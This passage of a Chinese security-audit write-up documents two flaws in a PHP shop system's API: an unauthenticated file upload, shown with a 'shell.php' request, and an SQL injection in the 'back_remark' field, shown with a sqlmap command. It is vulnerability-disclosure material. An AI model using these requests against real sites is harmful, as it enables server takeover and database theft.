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 truncated
|
||||
<p>修改name为file即可,并且为测试是未授权将Cookie删除,这里虽然只返回了文件名但根据代码的审计发现其路径依旧为/images</p>
|
||||
<div class=highlight><pre><span></span><span class=n>POST</span> <span class=o>/</span><span class=n>index</span><span class=o>.</span><span class=n>php</span><span class=err>?</span><span class=n>module</span><span class=o>=</span><span class=n>api</span><span class=o>&</span><span class=n>action</span><span class=o>=</span><span class=n>user</span><span class=o>&</span><span class=n>m</span><span class=o>=</span><span class=n>upload</span> <span class=n>HTTP</span><span class=o>/</span><span class=mf>1.1</span>
|
||||
<span class=n>Host</span><span class=p>:</span> <span class=mf>127.0</span><span class=o>.</span><span class=mf>0.1</span><span class=p>:</span><span class=mi>8080</span>
|
||||
<span class=n>User</span><span class=o>-</span><span class=n>Agent</span><span class=p>:</span> <span class=n>Mozilla</span><span class=o>/</span><span class=mf>5.0</span> <span class=p>(</span><span class=n>Windows</span> <span class=n>NT</span> <span class=mf>10.0</span><span class=p>;</span> <span class=n>Win64</span><span class=p>;</span> <span class=n>x64</span><span class=p>;</span> <span class=n>rv</span><span class=p>:</span><span class=mf>123.0</span><span class=p>)</span> <span class=n>Gecko</span><span class=o>/</span><span class=mi>20100101</span> <span class=n>Firefox</span><span class=o>/</span><span class=mf>123.0</span>
|
||||
<span class=n>Accept</span><span class=p>:</span> <span class=n>text</span><span class=o>/</span><span class=n>html</span><span class=p>,</span><span class=n>application</span><span class=o>/</span><span class=n>xhtml</span><span class=o>+</span><span class=n>xml</span><span class=p>,</span><span class=n>application</span><span class=o>/</span><span class=n>xml</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.9</span><span class=p>,</span><span class=n>image</span><span class=o>/</span><span class=n>avif</span><span class=p>,</span><span class=n>image</span><span class=o>/</span><span class=n>webp</span><span class=p>,</span><span class=o>*/*</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.8</span>
|
||||
<span class=n>Accept</span><span class=o>-</span><span class=n>Language</span><span class=p>:</span> <span class=n>zh</span><span class=o>-</span><span class=n>CN</span><span class=p>,</span><span class=n>zh</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.8</span><span class=p>,</span><span class=n>zh</span><span class=o>-</span><span class=n>TW</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.7</span><span class=p>,</span><span class=n>zh</span><span class=o>-</span><span class=n>HK</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.5</span><span class=p>,</span><span class=n>en</span><span class=o>-</span><span class=n>US</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.3</span><span class=p>,</span><span class=n>en</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.2</span>
|
||||
<span class=n>Accept</span><span class=o>-</span><span class=n>Encoding</span><span class=p>:</span> <span class=n>gzip</span><span class=p>,</span> <span class=n>deflate</span>
|
||||
<span class=n>Content</span><span class=o>-</span><span class=n>Type</span><span class=p>:</span> <span class=n>multipart</span><span class=o>/</span><span class=n>form</span><span class=o>-</span><span class=n>data</span><span class=p>;</span> <span class=n>boundary</span><span class=o>=---------------------------</span><span class=mi>323553422223467167571808530788</span>
|
||||
<span class=n>Content</span><span class=o>-</span><span class=n>Length</span><span class=p>:</span> <span class=mi>240</span>
|
||||
<span class=n>Origin</span><span class=p>:</span> <span class=n>http</span><span class=p>:</span><span class=o>//</span><span class=mf>127.0</span><span class=o>.</span><span class=mf>0.1</span><span class=p>:</span><span class=mi>8080</span>
|
||||
<span class=n>Connection</span><span class=p>:</span> <span class=n>close</span>
|
||||
<span class=n>Upgrade</span><span class=o>-</span><span class=n>Insecure</span><span class=o>-</span><span class=n>Requests</span><span class=p>:</span> <span class=mi>1</span>
|
||||
<span class=n>Sec</span><span class=o>-</span><span class=n>Fetch</span><span class=o>-</span><span class=n>Dest</span><span class=p>:</span> <span class=n>iframe</span>
|
||||
<span class=n>Sec</span><span class=o>-</span><span class=n>Fetch</span><span class=o>-</span><span class=n>Mode</span><span class=p>:</span> <span class=n>navigate</span>
|
||||
<span class=n>Sec</span><span class=o>-</span><span class=n>Fetch</span><span class=o>-</span><span class=n>Site</span><span class=p>:</span> <span class=n>same</span><span class=o>-</span><span class=n>origin</span>
|
||||
<span class=n>Sec</span><span class=o>-</span><span class=n>Fetch</span><span class=o>-</span><span class=n>User</span><span class=p>:</span> <span class=err>?</span><span class=mi>1</span>
|
||||
|
||||
|
||||
<span class=o>-----------------------------</span><span class=mi>323553422223467167571808530788</span>
|
||||
<span class=n>Content</span><span class=o>-</span><span class=n>Disposition</span><span class=p>:</span> <span class=n>form</span><span class=o>-</span><span class=n>data</span><span class=p>;</span> <span class=n>name</span><span class=o>=</span><span class=s2>"file"</span><span class=p>;</span> <span class=n>filename</span><span class=o>=</span><span class=s2>"shell.php"</span>
|
||||
<span class=n>Content</span><span class=o>-</span><span class=n>Type</span><span class=p>:</span><span class=n>image</span><span class=o>/</span><span class=n>php</span>
|
||||
|
||||
<span class=o><</span><span class=err>?</span><span class=n>php</span> <span class=n>phpinfo</span><span class=p>();</span> <span class=err>?</span><span class=o>></span>
|
||||
<span class=o>-----------------------------</span><span class=mi>323553422223467167571808530788</span><span class=o>--</span>
|
||||
</pre></div>
|
||||
<p><a id=img12 href=https://xzfile.aliyuncs.com/media/upload/picture/20240301142202-04afdac4-d794-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABVMAAALjCAYAAAAfsJUeAAEAAElEQVR4nOzdd1hT1xsH8C/KcO89EQFFcdQJ2rqqOKutq2q1tm6tCydW62yte9W696i2+rNYFfdWUFFRAUWGuBGUIciScX5/QEJC1g2E6ffzPDyac0/OeXNzkrw5ufdco4SEBAEiIiIiIiIiIiIi0qpATgdARERERERERERElBdwMpWIiIiIiIiIiIhIAk6mEhEREREREREREUnAyVQiIiIiIiIiIiIiCYwvnz2b0zEQERERERERERER5XpGQgiR00EQERER0acpPCwMd2/eRJOWLVG6TJmcDoeIiIiISCue5k9EREREREREREQkASdTiYiIiIiIiIiIiCTgZCoRERERERERERGRBJxMJSIiIiIiIiIiIpKAk6lEREREREREREREEnAylYiIiIiIiIiIiEgCTqYSERERERERERERSWCc0wEQERERERERERFll8TERPn/64/bm4ORaPfX6IYoWaJETochyfvISADI9fGa16ol/7+xccamRTmZSkREREREREREn5TcPIlKWedpYCAA5UlVffE0fyIiIiIiIiIiIiIJOJlKRERERERERESfDB6VSrIjVDOCk6lEREREREREREREEnAylYiIiIiIiIiIiEgCTqYSERERERERERERScDJVCIiIiIiIiIiIiIJjHM6ACIiIiIiIiIiotymjW01AMCSH7/QWi84PBrf/PofAODfOT1RsXRRrfWddl7FFa+XhglSg3+PHgUAJCQk6H1fExMTAMA3vXoZNCZt/j16NEOxAinxZmesnEwlIiIiIiIiIiJKx9Q45YTussULaa33MSFJ/v/SxQrprC9rNyvFx8cDABISEvW+b3JysqHD0Sk+Pj5DsQLZHy9P8yciIiIiIiIiIiKSgJOpRERERERERERERBLwNH8iIiIiIiIiIqJ8pEiRIgCAxET9T503NuZ0oTY8MpWIiIiIiIiIiIhIAk41ExERERERERER5SM9e/TI6RDyLU6mEhERERERERER5SP/HT8OIHOn+XNCVj2e5k9EREREREREREQkAY9MJSIiIiIiIiIiykdiYmIAAAkJ+h+ZamLC6UJteGQqERERERERERERkQScTCUiIiIiIiIiIiKSgMftEhERERERERERpfMxMRkAEBoVp7Ve+Ic4pf+bmhSU1G5WMjMzAwAUKKD/cZQmJiaGDkcnMzOzDMUKZH+8RkIIka09EhERERGlCg8Lw92bN9GkZUuULlMmp8MhIiKiT0CdUTtzOgRJ/hrdECVLlMjpMCR5HxkJAHkmXgCwtLLK0P20H5katAvYekZbt0DPYUBj8wx1TkRERESUJZjHEhEREVEW0H2a/0sfwEjTYba+wEYXoGo3YO5Cw0aW1wU9Be5eAmABdG+Tw8EQERERfYKYxxIRERGRgem3GEHzbil/Va2Vy1+5ANuuGDCsPG5bE2B+X+C/9UBQTgdDRERERMxjiYiIiMgQpF+ASlgD3RcClWUFT4GFvYFXqfOxt84BI3gEJhERERHlMsxjiYiISIH3hiGoP25vTodBOci8Vq0M31f6ZKpqt0DTusArX91Vg64AJ86l3rAAurcDKptrqPwUuHcJuP0kpW6zdilrWd1TOGKgYpu0ZDjoChAsK6+Rrt2nwL3naTcba0iS9YlPdvp+0JOU25UtgKqpMcpiea1Q//UT4J6O/omIiIgoG5lnTR6rLU+UtSXLW1EjNX98CtzdkXI2U2ULoMkPCpO+GuK5ey7t7KfKHYEmbdTfR2d/Wu4r5fGk70tyvk9ERESUd2ViMlWKK8DCyWm/+su4rweqjgfm/qBcHrQLmLdOeW0r9/VA8/HA63Vp7fQ8DHQ3T/n/icmAe2p581XACHOF9i4BG1LbE9bAgvTJop7xbRsEuKtJusUZYMFfwN1NwH++UFo94dV6YCNS+t/CyVQiIiKivMHAeWJlKOSKSGkDT1LWbVX033rlXFdXPHAB/kNKvjwiXUw6+3MBjloD4/4CGqdrVsrj0RaXpv1ERESUS3hvGAIAPEL1E5OZI1JlMj6ZGrQLOKqwqH+LjukqXAFGTU7bLqyBFpbAreMpZa/WA9ssFE6puqI6kSrjvh76Lu+qm57xnUiXUFbtBlTxB177AC8NHBoRERERZR1D57EZyRNlP7ir819foOpthQnOdPGo474+5ewoTZOXmvoz8gX+2wU0Vrif5Mejb75PRESUOxgbp02HPd7yYw5GQnmR9MlUI19g66DUGz4pvz7LEqeq41WTpBOblLfLErsRw9LWqLq1KeVK95UBbJusnIiNW5x6CtFTYFvvtKNPDUWv+J4Cd3wgn9BNf7RA0NOUx9B9MdAEwIneykfLdq9h2NiJiIiISLoszWOfSssT1Wm+Kq3voCvAvMlp/SpOcGrMkwHcm5t2tOmr9cCJdmqOak3f31Pl/PrlGSDoh9Q49Xg8UvcTJ1OJiIgoH9FvhvKVb+qfQjI39rCaX8CvpPzaL9NTcbt5yhpVQEpie/dpSv1bClV6KSSIMAdGrAFEsl6haqdvfOnc2ZG2ThWgsB6Uufq1oSprKCciIiKi7JFleWw6GvPEdEQ35UnGym2AXnXTbr98khaPxjwZQOOFQHOFPPnOJQn9mQPdJ6bl10a+CmurpqPx8eixn4iIiIjyEf1O869qDbxUOCXKyBd4BdU1lmSL1Mv8NyhlLScZxTbU1a9qnq7BGkA1pPRlCPrGl/4iBa9cgPkuKfuj52L1i/ATERERUe6RVXlsRvPEahZqYrQEIJt89E+dxFSIR1gDTdS0V7lu2v1ePlHdrq6/ymr6ByD58ei9n4iIiIjyB+kZjrAGRv4FbLkLjO2WVv5f37Sr1WsiPxIg9U9bYiWsgYqSozIMKfF1/wvo2U35CNlXvsDGvsDCudkXKxERERHpJ6vz2JzOE6taGra9jDweffJ9IiIiojwsYxegarwQaH48bZ2lDXOBLQvV15Wt66RpgrSyufKpQ7LTjDStLWVoUuKT6b4Q6D4MOLEDuHM87TSxVy7Ato5cD4qIiIgotzN0Hitj8DzRMiUflpInv/JP+7+6I14zQtfj6a5QV9d+IiIiIspHMv6TseI6pkYuwLYradsUTxsy8oV8LVF1f+nrA8DtK8q3gy5pvhKqotfpTje6e0b9r+L6xqfEPCW5nHsX6GmtuW8iIiIiyp0MmccqMZeeJ748ozxRiqfAf8fTbsomRSu3S1nuSiZ9niy/YFSqKgaaTAWg9fFkaj8RERER5V2ZOP8m3SL57lMUTpNKt23DIODe05Srf8r+TsxVSFzbAC0UmnafkrJNVm/eOs2nClVW6OfVeuX7KS6Kry12nfE9Bbal1pF7CgRJSFxvbUq53730iS8RERER5QxD5rFPM5YnGvkCW+emtn0F2PZz2tGfANC0Xep/zNMu5iSLdduu1FiuAAt7K19Uq3tmz5SS+nj03U9ERERE+UPGTvOX6b4YuKOQwCmeJqW4zSh1jaX0mndUaGsicEth0tR9CuAu21gXqOqjnGDK7zcGODpZ/f2q1dW8+L2+8b32UVNHQ+LarAfg7pLyf1nbwhrYwmUAiIiIiHIFQ+ax+uSJil65ABtdVMurjge6myvE+hcQ1CRtaQL39Sl/iv0AQK/FhlkqS+rj0Xc/EREREeUDmVwZ3hzo2SPtptJpUubA3CNAc2s190NKItasRtrtyj8ACyYCVZOV61XtBixYrCWGNsC4HsoL5ANA81XASAftsesTnyZVuwEL/lJOXBsv1NwuEREREeUC5obLYzVRlyfKt41PuRiWuhx27g+q9UfcVb0olGI/Yw8rT8BmBZXHY26Y/URERESUhxgJIUS29BT0NO3/utZOktc1T03WniqfwtRTQ7Iou19G1maSGp8+jwNP09bC4npRRERERCrCw8Jw9+ZNNGnZEqXLlMnpcNQzVJ54YhDwn2/K/6uOT5s01TeH1SsfzQR9+8muuIiIiIhyUOZO89eHPglVRpOvzCRtUu+rVx/mhjnVioiIiIhyTpbkiZm4X3ZNVObWuIiIiIhyUCZP8yciIiIiIiIiIiL6NHAylYiIiIiIiIiIiEgCTqYSERERERERERERSZB9a6Zmijkw8kjaTa7HRERERER5TffFQBPZDfMcDISIiIiIMiqPTKaCE6hERERElMeZ8+KkRERERHkcT/MnIiIiIiIiIiIikoCTqUREREREREREREQScDKViIiIiIiIiIiISAJOphIRERERERERERFJwMlUIiIiIiIiIiIiIgk4mUpEREREREREREQkASdTiYiIiIiIiIiIiCTgZCoRERERERERERGRBJxMJSIiIiIiIiIiIpLAOKcDyO8SExNzOoQ8z9iYw5SIKD+qM2pnlrX9eMuPWdY2Zb3k5GQkJyfndBifPOZgRERE2mVVPstcNnfjkalERESU7bJyIjU72iciIiKiT1edUTuzNN/M6vYpcziZSkRERERERERERCQBJ1OJiIgo22Tnr+z8RZ+IiIiIDC0780vmsrkTJ1OJiIiIiIiIiIiIJOBkKhEREREREREREZEEvEQnERER5TgT4wJoXKsCjDLwM29YZBz8gyIMHpM2Hz9+xIULF9CmTRsUKVIkW/smIiIiotynZoUSqFg6A3mhADyfvUNsfKLhg9LiwYMHMDY2Rr169bK13/yAk6lERESU437u3xKD2tXN8P2HrjqFGz5BBoxIu9OnT6Nnz574/fff4eTklG39ZtSbN2/g4+Oj9/0KFSoEOzu7LIiIiIiIKP+oUKoIXBZ8A+OCGTsB3N3vDQYvP2ngqLQbNmwYfH19ERoaChMTk2ztOyNu3LiBuLg4ve9Xt25Line truncated
|
||||
<h3 id=toc-4>前台SQL注入</h3>
|
||||
<p>代码分析/webapp/modules/api/actions/orderAction.class.php,发现back_remark字段没有添加过滤</p>
|
||||
<p><a id=img13 href=https://xzfile.aliyuncs.com/media/upload/picture/20240303141616-8b246254-d925-1.png><img src="data:image/png;base64,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 truncated
|
||||
<p>sqlmap语句</p>
|
||||
<div class=highlight><pre><span></span><span class=c1>#module=api&action=order&m=ReturnData</span>
|
||||
<span class=n>python</span> <span class=n>sqlmap</span><span class=o>.</span><span class=n>py</span> <span class=o>-</span><span class=n>u</span> <span class=s2>"http://127.0.0.1:8080/index.php?module=api&action=order&m=ReturnData"</span> <span class=o>-</span><span class=n>data</span> <span class=s2>"id=1&oid=1&otype=1&re_type=1&back_remark=1"</span> <span class=o>-</span><span class=n>p</span> <span class=n>back_remark</span> <span class=o>-</span><span class=n>dbs</span> <span class=o>-</span><span class=n>batch</span>
|
||||
</pre></div>
|
||||
</div>
|
||||
|
||||
<div class=post-user-action style=margin-top:34px>
|
||||
<span class="btn btn-default pull-right" id=mark data-action=topic data-pk=14036>
|
||||
<span id=mark-text>点击收藏 </span><span class=i-seprator> | </span><span id=mark-count>0</span>
|
||||
</span>
|
||||
|
||||
